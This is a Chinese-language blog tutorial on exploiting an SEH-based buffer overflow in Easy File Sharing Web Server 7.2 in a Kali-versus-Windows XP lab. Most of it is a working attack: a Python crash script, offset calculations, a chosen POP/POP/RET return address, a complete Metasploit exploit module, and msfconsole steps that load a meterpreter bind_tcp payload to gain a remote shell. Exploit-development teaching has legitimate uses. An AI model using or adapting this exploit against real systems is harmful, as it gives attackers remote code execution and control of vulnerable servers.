渗透之——使用Metasploit实现基于SEH的缓冲区溢出攻击
转载请注明出处：https://blog.csdn.net/l1028386804/article/details/86506457
攻击机：Kali 192.168.109.137
靶机： WinXP 192.168.109.141(其他Win系统亦可)
应用程序：Easy File Sharing Web Server 7.2
这里，我们同样先不讲理论，以后有时间单独开一个讲渗透理论的专栏，这里我们以Metasploit攻击Easy File Sharing Web Server 7.2为例来进行实战介绍。
Easy File Sharing Web Server 7.2在处理请求时存在漏洞—— 一个恶意的请求头部就可以引起缓冲区溢出，从而改写SEH链的地址。
注：可以到链接https://download.csdn.net/download/l1028386804/10918893 下载Easy File Sharing Web Server 7.2
1.生成字符序列
这里，我们利用Metasploit的pattern_create.rb脚本生成一个长度为10000的字符序列，并保存在easy_file中
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 10000 > easy_file2.在靶机XP上安装并启动Easy File Sharing Web Server 7.2
3.创建缓冲区溢出脚本exploit.py
这里，由于需要将字符序列构造到请求头中，形成"HEAD " + 字符序列 + " HTTP/1.0\r\n\r\n"的格式。所以为了方便，这里直接写一个python脚本实现。
具体脚本格式如下：
# Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow
# Date: 2019-01-16
# Exploit Author: binghe
# Version: 7.2
# Tested on: XP SP3 EN
# category: Remote Exploit
# Usage: ./exploit.py ip port
import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
entire=4500
# Next SEH
buff = "Metasploit中的pattern_create.rb生成的字符序列"
# HEAD
a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")
a.close()
print "Done..."这里，将Metasploit中的pattern_create.rb生成的字符序列替换到“buff = "Metasploit中的pattern_create.rb生成的字符序列"”处即可。
这里我们使用的完整脚本如下：

print "Done..."4.将缓冲区溢出脚本exploit.py上传到Kali
这里，我们上传到/root目录下
5.运行缓冲区溢出脚本
python /root/exploit.py 192.168.109.141 806.查看靶机上Easy File Sharing Web Server 7.2的状态
此时，在靶机上可以看到Easy File Sharing Web Server 7.2程序由于缓冲区溢出从而退出了程序，说明我们的缓冲区溢出脚本exploit.py生效。
7.启动Easy File Sharing Web Server 7.2并将进程加载到ImmunityDebbuger中
开启 ImmunityDebugger
按File->Attach 显示靶机所有进程的列表
显示靶机所有进程的列表如下，同时我们找到Easy File Sharing Web Server 7.2所在的进程：
我们选中Easy File Sharing Web Server 7.2所在的进程单击右下角的Attach按钮
显示Easy File Sharing Web Server 7.2程序的运行状态如下：
我们看到ImmunityDebugger右下角为Paused，说明Easy File Sharing Web Server 7.2加载到ImmunityDebugger中处于暂停状态
单击Play按钮让程序继续运行
之后Easy File Sharing Web Server 7.2的运行状态如下：
此时，看到ImmunityDebugger右下角为运行状态。
到此，我们已经将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中，并处于运行状态。
8.运行缓冲区溢出脚本
python /root/exploit.py 192.168.109.141 809.查看Easy File Sharing Web Server 7.2溢出地址
在ImmunityDebugger依次单击View->SEH chain
结果如下：
可以看到被我们发送的字符序列所修改的catch块的地址为46356646， 下一条SEH记录地址为34664633
我们要记下这两个值。
10.计算偏移量
计算catch块偏移量
root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 46356646 -l 10000
[*] Exact match at offset 4065计算下一条SEH记录偏移量
root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 34664633 -l 10000
[*] Exact match at offset 406111.查找POP/POP/RET地址
这里我们需要使用ImmunityDebugger的插件Mona,可以到链接https://github.com/corelan/mona下载，将mona.py放到{IMMUNITYDEBUGGER_HOME}/PyCommands目录下。如下图：
12.启动Mona
在ImmunityDebugger命令行下输入如下命令启动Mona分析DLL文件。
!mona modules
可以看到列出了很多的DLL文件。
注意：我们需要POP/POP/RET指令的地址来载入下一条SEH记录的地址，并跳转到攻击载荷。这需要一个外部的DLL文件载入一个地址，不过现在大多数最先进的操作系统都使用SafeSEH保护机制来编译DLL，因此我们需要一个没有被SafeSEH保护的DLL模块的POP/POP/RET指令地址。
这里我们选择的是E:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll
13.上传ImageLoad.dll到Kali
将ImageLoad.dll上传到Kali的/root目录
14.查找POP/POP/RET指令序列
这里我们使用的Metasploit的msfbinscan工具
msfconsole
msf > msfbinscan -p /root/ImageLoad.dll可以看到ImageLoad.dll的POP/POP/RET指令序列
这里，由于POP/POP/RET的指令太多，我只列出了部分指令序列信息
到此，我们就可以编写Metasoloit渗透SEH的脚本了
15.编写Metasoloit渗透SEH的脚本seh_attack_by_binghe.rb
这里直接上代码：
##
# Author 冰河
# Date 2019-01-16
# Description Metasploit的SEH渗透模块
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info={})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %q{
This Module Demonstrate SEH based overflow example
},
'Author' => 'binghe',
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
"EXITFUNC" => 'thread'
},
'Payload' =>
{
'Space' => 390,
'BadChars' =>
"\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
},
'Platform' => 'Windows',
'Targets' =>
[
[
'Easy File Sharing 7.2 HTTP',
{
'Ret' => 0x10022fd7,
'Offset' => 4061
}
]
],
'DefaultOptions' => {
'RPORT' => 80
},
'DisclosureDate' => '2019-01-16',
'DefaultTarget' => 0))
end
def exploit
connect
weapon = "HEAD "
weapon << make_nops(target['Offset'])
weapon << generate_seh_record(target.ret)
weapon << make_nops(19)
weapon << payload.encoded
weapon << " HTTP/1.0\r\n\r\n"
sock.put(weapon)
handler
disconnect
end
end注意：
'Targets' =>
[
[
'Easy File Sharing 7.2 HTTP',
{
'Ret' => 0x10022fd7,
'Offset' => 4061
}
]
]中的Ret的值是ImageLoad.dll的POP/POP/RET的指令序序列，这里我选择的是：0x10022fd7，具体如下图：
Offset的值是第10步中计算出的下一条SEH记录偏移量
16.上传渗透脚本seh_attack_by_binghe.rb
将渗透脚本seh_attack_by_binghe.rb上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/masteringmetasploit目录下。
17.关闭ImmunityDebugger重新启动Easy File Sharing Web Server7.2
这里，我们需要在靶机上关闭ImmunityDebugger重新启动Easy File Sharing Web Server7.2。
18.运行渗透脚本seh_attack_by_binghe.rb
msfconsole
use exploit/windows/masteringmetasploit/seh_attack_by_binghe
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.109.141
show options
exploit具体操作如下：
msf > use exploit/windows/masteringmetasploit/seh_attack_by_binghe
msf exploit(windows/masteringmetasploit/seh_attack_by_binghe) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(windows/masteringmetasploit/seh_attack_by_binghe) > set RHOST 192.168.109.141
RHOST => 192.168.109.141
msf exploit(windows/masteringmetasploit/seh_attack_by_binghe) > show options
Module options (exploit/windows/masteringmetasploit/seh_attack_by_binghe):

---- --------------- -------- -----------
RHOST 192.168.109.141 yes The target address
RPORT 80 yes The target port (TCP)
Payload options (windows/meterpreter/bind_tcp):

---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 192.168.109.141 no The target address

19.可能遇到的问题
实现当中我们可能会遇到下列问题：
msf exploit(windows/masteringmetasploit/seh_attack_by_binghe) > exploit
[*] Started bind TCP handler against 192.168.109.141:4444
[*] Exploit completed, but no session was created.当我们遇到这个问题的时候，可以尝试多次执行exploit即可获得Meterpreter Shell。
